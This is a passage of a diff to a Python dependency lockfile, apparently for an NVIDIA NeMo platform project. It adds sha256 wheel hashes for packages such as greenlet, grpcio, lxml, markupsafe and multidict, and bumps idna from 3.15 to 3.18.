--hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 @@ -862,6 +969,7 @@ greenlet==3.3.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or --hash=sha256:1ebd458fa8285960f382841da585e02201b53a5ec2bac6b156fc623b5ce4499f \ --hash=sha256:2eaf067fc6d886931c7962e8c6bede15d2f01965560f3359b27c80bde2d151f2 \ --hash=sha256:3ceec72030dae6ac0c8ed7591b96b70410a8be370b6a477b1dbc072856ad02bd \ + --hash=sha256:4375a58e49522698d3e70cc0b801c19433021b5c37686f7ce9c65b0d5c8677d2 \ --hash=sha256:43e99d1749147ac21dde49b99c9abffcbc1e2d55c67501465ef0930d6e78e070 \ --hash=sha256:442b6057453c8cb29b4fb36a2ac689382fc71112273726e2423f7f17dc73bf99 \ --hash=sha256:45abe8eb6339518180d5a7fa47fa01945414d7cca5ecb745346fc6a87d2750be \ @@ -869,11 +977,16 @@ greenlet==3.3.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or --hash=sha256:64970c33a50551c7c50491671265d8954046cb6e8e2999aacdd60e439b70418a \ --hash=sha256:6c6f8ba97d17a1e7d664151284cb3315fc5f8353e75221ed4324f84eb162b395 \ --hash=sha256:8e2cd90d413acbf5e77ae41e5d3c9b3ac1d011a756d7284d7f3f2b806bbd6358 \ + --hash=sha256:a2a5be83a45ce6188c045bcc44b0ee037d6a518978de9a5d97438548b953a1ac \ + --hash=sha256:a443358b33c4ec7b05b79a7c8b466f5d275025e750298be7340f8fc63dff2a55 \ --hash=sha256:aa6ac98bdfd716a749b84d4034486863fd81c3abde9aa3cf8eff9127981a4ae4 \ --hash=sha256:ab0c7e7901a00bc0a7284907273dc165b32e0d109a6713babd04471327ff7986 \ --hash=sha256:ac8d61d4343b799d1e526db579833d72f23759c71e07181c2d2944e429eb09cd \ + --hash=sha256:ae9e21c84035c490506c17002f5c8ab25f980205c3e61ddb3a2a2a2e6c411fcb \ --hash=sha256:b6997d360a4e6a4e936c0f9625b1c20416b8a0ea18a8e19cabbefc712e7397ab \ - --hash=sha256:c56692189a7d1c7606cb794be0a8381470d95c57ce5be03fb3d0ef57c7853b86 + --hash=sha256:c56692189a7d1c7606cb794be0a8381470d95c57ce5be03fb3d0ef57c7853b86 \ + --hash=sha256:ccd21bb86944ca9be6d967cf7691e658e43417782bce90b5d2faeda0ff78a7dd \ + --hash=sha256:d248d8c23c67d2291ffd47af766e2a3aa9fa1c6703155c099feb11f526c63a92 # via # nmp-entities # sqlalchemy @@ -891,8 +1004,11 @@ grpcio==1.80.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( --hash=sha256:92d787312e613754d4d8b9ca6d3297e69994a7912a32fa38c4c4e01c272974b0 \ --hash=sha256:9a6284a5d907c37db53350645567c522be314bac859a64a7a5ca63b77bb7958f \ --hash=sha256:ba0915d51fd4ced2db5ff719f84e270afe0e2d4c45a7bdb1e8d036e4502928c2 \ + --hash=sha256:c624cc9f1008361014378c9d776de7182b11fe8b2e5a81bc69f23a295f2a1ad0 \ --hash=sha256:ce1794f4ea6cc3ca29463f42d665c32ba1b964b48958a66497917fe9069f26e6 \ --hash=sha256:d334591df610ab94714048e0d5b4f3dd5ad1bee74dfec11eee344220077a79de \ + --hash=sha256:dfab85db094068ff42e2a3563f60ab3dddcc9d6488a35abf0132daec13209c8a \ + --hash=sha256:e9e408fc016dffd20661f0126c53d8a31c2821b5c13c5d67a0f5ed5de93319ad \ --hash=sha256:f49eddcac43c3bf350c0385366a58f36bed8cc2c0ec35ef7b74b49e56552c0c2 # via # opentelemetry-exporter-otlp-proto-grpc @@ -1018,9 +1134,9 @@ hvac==2.4.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (pla # nemoplatform # nmp-common # nmp-jobs -idna==3.15 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8 \ - --hash=sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc +idna==3.18 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2 \ + --hash=sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848 # via # anyio # email-validator @@ -1080,23 +1196,32 @@ jinja2==3.1.6 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # sqlfluff jiter==0.10.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:07a7142c38aacc85194391108dc91b5b57093c978a9932bd86a36862759d9500 \ + --hash=sha256:0c5867d40ab716e4684858e4887489685968a47e3ba222e44cde6e4a2154f959 \ --hash=sha256:13252b58c1f4d8c5b63ab103c03d909e8e1e7842d302473f482915d95fefd605 \ + --hash=sha256:13ddbc6ae311175a3b03bd8994881bc4635c923754932918e18da841632349db \ --hash=sha256:14a4c418b1ec86a195f1ca69da8b23e8926c752b685af665ce30777233dfe070 \ --hash=sha256:23ba7722d6748b6920ed02a8f1726fb4b33e0fd2f3f621816a8b486c66410ab2 \ --hash=sha256:28ed2a4c05a1f32ef0e1d24c2611330219fed727dae01789f4a335617634b1ca \ --hash=sha256:2e2227db6ba93cb3e2bf67c87e594adde0609f146344e8207e8730364db27041 \ + --hash=sha256:371eab43c0a288537d30e1f0b193bc4eca90439fc08a022dd83e5e07500ed026 \ --hash=sha256:395bb9a26111b60141757d874d27fdea01b17e8fac958b91c20128ba8f4acc8a \ --hash=sha256:4c440ea003ad10927a30521a9062ce10b5479592e8a70da27f21eeb457b4a9c5 \ --hash=sha256:4d613e4b379a07d7c8453c5712ce7014e86c6ac93d990a0b8e7377e18505e98d \ + --hash=sha256:5161e201172de298a8a1baad95eb85db4fb90e902353b1f6a41d64ea64644e25 \ --hash=sha256:520ef6d981172693786a49ff5b09eda72a42e539f14788124a07530f785c3ad6 \ --hash=sha256:533efbce2cacec78d5ba73a41756beff8431dfa1694b6346ce7af3a12c42202b \ + --hash=sha256:554dedfd05937f8fc45d17ebdf298fe7e0c77458232bcb73d9fbbf4c6455f5b3 \ --hash=sha256:558cc7e44fd8e507a236bee6a02fa17199ba752874400a0ca6cd6e2196cdb7dc \ + --hash=sha256:5bc299da7789deacf95f64052d97f75c16d4fc8c4c214a22bf8d859a4288a1c2 \ --hash=sha256:62755d1bcea9876770d4df713d82606c8c1a3dca88ff39046b85a048566d56ea \ + --hash=sha256:6c675736059020365cebc845a820214765162728b51ab1e03a1b7b3abb70f74c \ --hash=sha256:7202ae396446c988cb2a5feb33a543ab2165b786ac97f53b59aafb803fef0744 \ --hash=sha256:7d1bbf3c465de4a24ab12fb7766a0003f6f9bce48b8b6a886158c4d569452dc5 \ --hash=sha256:901b92f2e2947dc6dfcb52fd624453862e16665ea909a08398dde19c0731b7f4 \ + --hash=sha256:919d139cdfa8ae8945112398511cb7fca58a77382617d279556b344867a37e61 \ --hash=sha256:cafc4628b616dc32530c20ee53d71589816cf385dd9449633e910d596b1f5c8a \ - --hash=sha256:d0cb9a125d5a3ec971a094a845eadde2db0de85b33c9f13eb94a0c63d463879e + --hash=sha256:d0cb9a125d5a3ec971a094a845eadde2db0de85b33c9f13eb94a0c63d463879e \ + --hash=sha256:f62cf8ba0618eda841b9bf61797f21c5ebd15a7a1e19daab76e4e4b498d515b2 # via # anthropic # instructor @@ -1132,23 +1257,39 @@ jsonpath-ng==1.8.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # nvidia-nat-core jsonpath-rust-bindings==1.1.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:0017af7054fb6bce55863a7065ae465a9c47fd93fb94f002ca98bb8adf15101a \ + --hash=sha256:02373d581a093d0640e60858884d67ec93259e7b6d6bd8e5874400ad99558e00 \ --hash=sha256:0ca169ac219bc141775fb19df8165d4d0162e6ed77102e1ab19a74a80c1f9051 \ --hash=sha256:13446ad021abe05d622a01eaa648c238ef3b98e9fc0bd837a589bafb246ca3bc \ + --hash=sha256:146b69ce20cb9869e05a6d369f4a10b52f98e1f8575f1ac5b49e285fa2032380 \ + --hash=sha256:1ff4cd052f733d5f270329c552a04e08a1520053355d35f0be886714dff46955 \ --hash=sha256:26955685acf0208b6061419cab4bd79fe869ebce57f3cec1e9b20f0e0af56b35 \ + --hash=sha256:330f457556d06abc1ea36b6738eb172288afff6bd251350eaba42bed2f459fd3 \ + --hash=sha256:366cba544c080c08530cef0cc19922f0380f0caab6e7e5a0ddfb70de288d5abc \ + --hash=sha256:36a40ed04d2db70897cde2ac92f6c9aae2ed1b426aa4c97a47f3e2be911ea4ba \ --hash=sha256:3c220c2d27ab6a0791e3af10e2a7c53ccd1dc2dfc8681999fed4458392aa0372 \ --hash=sha256:40c23781d28a8b126c8a2b337e4fe275cc8f35a149bda769e3ec2760dfb58b91 \ --hash=sha256:44de7464ad227028c36e8d713653b4bfe5eb7524ac1a4b0a71e8bcb3bd4f4f3a \ + --hash=sha256:4eacb98f80fff7d43956503ca7b42e491f7084c7b9bd8b5b6bad3f50d08480df \ + --hash=sha256:50f16c3dd6eb572dda74731508d2fca1abbb927ab4f6511fb65eeba6e59fd041 \ + --hash=sha256:6716caa0855dbf9d021509a3caa00a9fa7cc241930f40830c24e85d0e17a6246 \ --hash=sha256:734eee89754c829a0fb55a30467c8a33081976375b763c907f71f7018682c26c \ + --hash=sha256:7bf30e27a81d07c79cc58c86600687e5adfe0f7b1aaf8069a737085bebfaea71 \ --hash=sha256:7f2a526c87a245f708dc1d8d4988c471384c369a5909b8b730e63b6a7f0c2d60 \ --hash=sha256:8c390c33582cd268d35b86eb0f550229e0cf26f03bb06c470db4712d6fa4dc0f \ + --hash=sha256:9212d3746a57015fc3722488f61c4afc465d993f68371d864be8fa5b0c58d635 \ --hash=sha256:9d656507b5913f9515ff136797c5850df907c5040fa1368baa428f7e829e33f0 \ --hash=sha256:a239166bd1418897de327c952a9d9ff912d1fabc9da82e688204ccfcd7b22584 \ --hash=sha256:a43107f6efc4e66ee046c338741429a268fd972e887721b01bf0f32e47387e30 \ + --hash=sha256:aa7e9d25b00c227c51e7a916a13fbf22cf483df622699dbc3ef051861ec1de85 \ --hash=sha256:b06b24668085b2791acbfefdfe2f2824d36be539c7647c00aee33242b4d3385d \ + --hash=sha256:b9583e965fe5f8f21cd0d047244db9716a119e0e82a06f2336e6b14c9a9637af \ --hash=sha256:ce1c6804706012c3c7a194903ef20befafa3cc913a4ef553696bc837ac738a66 \ --hash=sha256:ce7039a2f497674785a423076e803a1fa547c2f9cf568b25e2ac83ff5890b98f \ --hash=sha256:d21101114514d34b21ab216eef1d7bb41155311fa61284e8f2dbdb93bde41c78 \ + --hash=sha256:dc0c3488f04dbd318fa876fb880e8cb7d1e53abcf8b0d9e697e10a0a15ac3158 \ --hash=sha256:ddbf025592bf88fc5395d9d023d7bcc8fab977898c406e0a5722925c3b887c71 \ + --hash=sha256:e423363b47080830bbb4d8257c0f26bda8ee655a18c4f934952bfe4c46e8d510 \ + --hash=sha256:ebb9a05a2b80195ac47aec0ce98d861c102459d16225fefb0f7e0158196c4a58 \ --hash=sha256:f55ee1e7fdb6bb2363c40a6d6ce0285e53bd52b4ecae7bef3909eeb11a9b4cd2 \ --hash=sha256:fbfeb05c7a6854104e97a0e3234f312004b3f4e678d14b68180a6a4f33f4d7c3 \ --hash=sha256:fe44737c6c72079ef30c85f975c19fa0114c13039fe538d8c5b259007a35a0ff @@ -1337,30 +1478,46 @@ loguru==0.7.3 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p --hash=sha256:31a33c10c8e1e10422bfd431aeb5d351c7cf7fa671e3c4df004162264b28220c # via fastembed lxml==6.1.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:05b9b8787e35bec69e68daf4952b2e6dfcfb0db7ecf1a06f8cdfbbac4eb71aad \ --hash=sha256:07f98f5496f96bf724b1e3c933c107f0cbf2745db18c03d2e13a291c3afd2635 \ + --hash=sha256:0d082495c5fcf426e425a6e28daaba1fcb6d8f854a4ff01effb1f1f381203eb9 \ + --hash=sha256:0f0f08beb0182e3e9a86fae124b3c47a7b41b7b69b225e1377db983802404e54 \ + --hash=sha256:1ae225f66e5938f4fa29d37e009a3bb3b13032ac57eb4eb42afa44f6e4054e69 \ + --hash=sha256:23a5dc68e08ed13331d61815c08f260f46b4a60fdd1640bbeb82cf89a9d90289 \ --hash=sha256:264c605ab9c0e4aa1a679636f4582c4d3313700009fac3ec9c3412ed0d8f3e1d \ --hash=sha256:363e47283bde87051b821826e71dde47f107e08614e1aa312ba0c5711e77738c \ --hash=sha256:37fabd1452852636cf38ecdcc9dd5ca4bba7a35d6c53fa09725deeb894a87491 \ --hash=sha256:3ae5d8d5427f3cc317e7950f2da7ad276df0cfa37b8de2f5658959e618ea8512 \ --hash=sha256:419c58fc92cc3a2c3fa5f78c63dbf5da70c1fa9c1b25f25727ecee89a96c7de2 \ + --hash=sha256:43e4d297f11080ec9d64a4b1ad7ac02b4484c9f0e2179d9c4ef78e886e747b88 \ --hash=sha256:4642e04449a1e164b5ff71ffd901ddb772dfabf5c9adf1b7be5dffe1212bc037 \ + --hash=sha256:4937460dc5df0cdd2f06a86c285c28afda06aefa3af949f9477d3e8df430c485 \ --hash=sha256:5715e0e28736a070f3f34a7ccc09e2fdcba0e3060abbcf61a1a5718ff6d6b105 \ --hash=sha256:5cfa1a34df366d9dc0d5eaf420f4cf2bb1e1bebe1066d1c2fc28c179f8a4004c \ + --hash=sha256:63aeafc26aac0be8aff14af7871249e87ea1319be92090bfd632ec68e03b16a5 \ + --hash=sha256:690022c7fae793b0489aa68a658822cea83e0d5933781811cabbf5ea3bcfe73d \ --hash=sha256:73becf6d8c81d4c76b1014dbd3584cb26d904492dcf73ca85dc8bff08dcd6d2d \ + --hash=sha256:7e39ab3a28af7784e206d8606ec0e4bcad0190f63a492bca95e94e5a4aef7f6e \ --hash=sha256:7f4a77d6f7edf9230cee3e1f7f6764722a41604ee5681844f18db9a81ea0ec33 \ + --hash=sha256:8e369cbd690e788c8d15e56222d91a09c6a417f49cbc543040cba0fe2e25a79e \ --hash=sha256:9147d8e386ec3b82c3b15d88927f734f565b0aaadef7def562b853adca45784a \ --hash=sha256:942454ff253da14218f972b23dc72fa4edf6c943f37edd19cd697618b626fac5 \ --hash=sha256:976a6b39b1b13e8c354ad8d3f261f3a4ac6609518af91bdb5094760a08f132c4 \ + --hash=sha256:9eb667bf50856c4a58145f8ca2d5e5be160191e79eb9e30855a476191b3c3495 \ --hash=sha256:a0092f2b107b69601adf562a57c956fbb596e05e3e6651cabd3054113b007e45 \ --hash=sha256:a2853c8b2170cc6cd54a6b4d50d2c1a8a7aeca201f23804b4898525c7a152cfc \ --hash=sha256:bc783ee3147e60a25aa0445ea82b3e8aabb83b240f2b95d32cb75587ff781814 \ --hash=sha256:bfd57d8008c4965709a919c3e9a98f76c2c7cb319086b3d26858250620023b13 \ + --hash=sha256:cbd7b79cdcb4986ad78a2662625882747f09db5e4cd7b2ae178a88c9c51b3dfe \ --hash=sha256:cc16682cc987a3da00aa56a3aa3075b08edb10d9b1e476938cfdbee8f3b67181 \ --hash=sha256:cec05be8c876f92a5aa07b01d60bbb4d11cfbdd654cad0561c0d7b5c043a61b9 \ --hash=sha256:d036ee7b99d5148072ac7c9b847193decdfeac633db350363f7bce4fff108f0e \ --hash=sha256:d2f17a16cd8751e8eb233a7e41aecdf8e511712e00088bf9be455f604cd0d28d \ + --hash=sha256:d6d8efe71429635f0559579092bb5e60560d7b9115ee38c4adbea35632e7fa24 \ --hash=sha256:db88156fcf544cdbf0d95588051515cfdfd4c876fc66444eb98bceb5d6db76de \ + --hash=sha256:e3c4f84b24a1fcba435157d111c4b755099c6ff00a3daee1ad281817de75ed11 \ --hash=sha256:e69aa6805905807186eb00e66c6d97a935c928275182eb02ee40ba00da9623b2 \ + --hash=sha256:f15401d8d3dbf239e23c818afc10c7207f7b95f9a307e092122b6f86dd43209a \ --hash=sha256:fc46da94826188ed45cb53bd8e3fc076ae22675aea2087843d4735627f867c6d \ --hash=sha256:fcf3da95e93349e0647d48d4b36a12783105bcc74cb0c416952f9988410846a3 # via @@ -1397,20 +1554,28 @@ markupsafe==3.0.3 ; (platform_machine == 'arm64' and sys_platform == 'darwin') o --hash=sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a \ --hash=sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf \ --hash=sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219 \ + --hash=sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb \ --hash=sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6 \ --hash=sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce \ --hash=sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37 \ --hash=sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d \ --hash=sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a \ --hash=sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19 \ + --hash=sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9 \ --hash=sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50 \ --hash=sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698 \ --hash=sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b \ + --hash=sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc \ + --hash=sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115 \ + --hash=sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f \ --hash=sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12 \ --hash=sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025 \ --hash=sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009 \ + --hash=sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a \ --hash=sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f \ --hash=sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1 \ + --hash=sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6 \ + --hash=sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f \ --hash=sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b \ --hash=sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676 \ --hash=sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d \ @@ -1443,21 +1608,33 @@ mmh3==5.2.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (pla --hash=sha256:17fbb47f0885ace8327ce1235d0416dc86a211dcd8cc1e703f41523be32cfec8 \ --hash=sha256:1d9f9a3ce559a5267014b04b82956993270f63ec91765e13e9fd73daf2d2738e \ --hash=sha256:26fb5b9c3946bf7f1daed7b37e0c03898a6f062149127570f8ede346390a0825 \ + --hash=sha256:2778fed822d7db23ac5008b181441af0c869455b2e7d001f4019636ac31b6fe4 \ + --hash=sha256:2bd9f19f7f1fcebd74e830f4af0f28adad4975d40d80620be19ffb2b2af56c9f \ --hash=sha256:3737303ca9ea0f7cb83028781148fcda4f1dac7821db0c47672971dabcf63593 \ + --hash=sha256:3c38d142c706201db5b2345166eeef1e7740e3e2422b470b8ba5c8727a9b4c7a \ --hash=sha256:3d74a03fb57757ece25aa4b3c1c60157a1cece37a020542785f942e2f827eed5 \ + --hash=sha256:41aac7002a749f08727cb91babff1daf8deac317c0b1f317adc69be0e6c375d1 \ + --hash=sha256:50885073e2909251d4718634a191c49ae5f527e5e1736d738e365c3e8be8f22b \ + --hash=sha256:67e41a497bac88cc1de96eeba56eeb933c39d54bc227352f8455aa87c4ca4000 \ --hash=sha256:707151644085dd0f20fe4f4b573d28e5130c4aaa5f587e95b60989c5926653b5 \ --hash=sha256:82f3802bfc4751f420d591c5c864de538b71cea117fce67e4595c2afede08a15 \ --hash=sha256:8e6c219e375f6341d0959af814296372d265a8ca1af63825f65e2e87c618f006 \ + --hash=sha256:8f767ba0911602ddef289404e33835a61168314ebd3c729833db2ed685824211 \ + --hash=sha256:960b1b3efa39872ac8b6cc3a556edd6fb90ed74f08c9c45e028f1005b26aa55d \ --hash=sha256:9d8089d853c7963a8ce87fff93e2a67075c0bc08684a08ea6ad13577c38ffc38 \ --hash=sha256:a482ac121de6973897c92c2f31defc6bafb11c83825109275cffce54bb64933f \ --hash=sha256:b3f99e1756fc48ad507b95e5d86f2fb21b3d495012ff13e6592ebac14033f166 \ --hash=sha256:bbea5b775f0ac84945191fb83f845a6fd9a21a03ea7f2e187defac7e401616ad \ --hash=sha256:be77c402d5e882b6fbacfd90823f13da8e0a69658405a39a569c6b58fdb17b03 \ + --hash=sha256:c88653877aeb514c089d1b3d473451677b8b9a6d1497dbddf1ae7934518b06d2 \ + --hash=sha256:d30b650595fdbe32366b94cb14f30bb2b625e512bd4e1df00611f99dc5c27fd4 \ --hash=sha256:d51fde50a77f81330523562e3c2734ffdca9c4c9e9d355478117905e1cfe16c6 \ + --hash=sha256:d57dea657357230cc780e13920d7fa7db059d58fe721c80020f94476da4ca0a1 \ --hash=sha256:dae0f0bd7d30c0ad61b9a504e8e272cb8391eed3f1587edf933f4f6b33437450 \ --hash=sha256:db0562c5f71d18596dcd45e854cf2eeba27d7543e1a3acdafb7eef728f7fe85d \ --hash=sha256:e48d4dbe0f88e53081da605ae68644e5182752803bbc2beb228cca7f1c4454d6 \ --hash=sha256:eee884572b06bbe8a2b54f424dbd996139442cf83c76478e1ec162512e0dd2c7 \ + --hash=sha256:fc78739b5ec6e4fb02301984a3d442a91406e7700efbe305071e7fd1c78278f2 \ --hash=sha256:fceef7fe67c81e1585198215e42ad3fdba3a25644beda8fbdaf85f4d7b93175a # via fastembed more-itertools==10.8.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ @@ -1471,31 +1648,55 @@ mpmath==1.3.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p --hash=sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c # via sympy multidict==6.7.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:03ede2a6ffbe8ef936b92cb4529f27f42be7f56afcdab5ab739cd5f27fb1cbf9 \ + --hash=sha256:0b4c48648d7649c9335cf1927a8b87fa692de3dcb15faa676c6a6f1f1aabda43 \ + --hash=sha256:10ae39c9cfe6adedcdb764f5e8411d4a92b055e35573a2eaa88d3323289ef93c \ --hash=sha256:128441d052254f42989ef98b7b6a6ecb1e6f708aa962c7984235316db59f50fa \ --hash=sha256:12fad252f8b267cc75b66e8fc51b3079604e8d43a75428ffe193cd9e2195dfd6 \ + --hash=sha256:1b99af4d9eec0b49927b4402bcbb58dea89d3e0db8806a4086117019939ad3dd \ + --hash=sha256:1d540e51b7e8e170174555edecddbd5538105443754539193e3e1061864d444d \ --hash=sha256:21f830fe223215dffd51f538e78c172ed7c7f60c9b96a2bf05c4848ad49921c3 \ + --hash=sha256:25167cc263257660290fba06b9318d2026e3c910be240a146e1f66dd114af2b0 \ --hash=sha256:253282d70d67885a15c8a7716f3a73edf2d635793ceda8173b9ecc21f2fb8292 \ + --hash=sha256:273d23f4b40f3dce4d6c8a821c741a86dec62cded82e1175ba3d99be128147ed \ --hash=sha256:2b41f5fed0ed563624f1c17630cb9941cf2309d4df00e494b551b5f3e3d67a23 \ --hash=sha256:2e2d2ed645ea29f31c4c7ea1552fcfd7cb7ba656e1eafd4134a6620c9f5fdd9e \ --hash=sha256:3758692429e4e32f1ba0df23219cd0b4fc0a52f476726fff9337d1a57676a582 \ + --hash=sha256:38fb49540705369bab8484db0689d86c0a33a0a9f2c1b197f506b71b4b6c19b0 \ + --hash=sha256:398c1478926eca669f2fd6a5856b6de9c0acf23a2cb59a14c0ba5844fa38077e \ + --hash=sha256:3d51ff4785d58d3f6c91bdbffcb5e1f7ddfda557727043aa20d20ec4f65e324a \ + --hash=sha256:401c5a650f3add2472d1d288c26deebc540f99e2fb83e9525007a74cd2116f1d \ --hash=sha256:41f2952231456154ee479651491e94118229844dd7226541788be783be2b5108 \ --hash=sha256:439cbebd499f92e9aa6793016a8acaa161dfa749ae86d20960189f5398a19144 \ + --hash=sha256:4cfb48c6ea66c83bcaaf7e4dfa7ec1b6bbcf751b7db85a328902796dfde4c060 \ --hash=sha256:55d97cc6dae627efa6a6e548885712d4864b81110ac76fa4e534c03819fa4a56 \ + --hash=sha256:5c4b9bfc148f5a91be9244d6264c53035c8a0dcd2f51f1c3c6e30e30ebaa1c84 \ + --hash=sha256:619e5a1ac57986dbfec9f0b301d865dddf763696435e2962f6d9cf2fdff2bb71 \ --hash=sha256:6aac4f16b472d5b7dc6f66a0d49dd57b0e0902090be16594dc9ebfd3d17c47e7 \ + --hash=sha256:6b83cabdc375ffaaa15edd97eb7c0c672ad788e2687004990074d7d6c9b140c8 \ --hash=sha256:6d3bc717b6fe763b8be3f2bee2701d3c8eb1b2a8ae9f60910f1b2860c82b6c49 \ --hash=sha256:7ff981b266af91d7b4b3793ca3382e53229088d193a85dfad6f5f4c27fc73e5d \ --hash=sha256:935434b9853c7c112eee7ac891bc4cb86455aa631269ae35442cb316790c1445 \ + --hash=sha256:95922cee9a778659e91db6497596435777bd25ed116701a4c034f8e46544955a \ --hash=sha256:97891f3b1b3ffbded884e2916cacf3c6fc87b66bb0dde46f7357404750559f33 \ + --hash=sha256:98bc624954ec4d2c7cb074b8eefc2b5d0ce7d482e410df446414355d158fe4ca \ + --hash=sha256:9c90fed18bffc0189ba814749fdcc102b536e83a9f738a9003e569acd540a733 \ --hash=sha256:9d624335fd4fa1c08a53f8b4be7676ebde19cd092b3895c421045ca87895b429 \ + 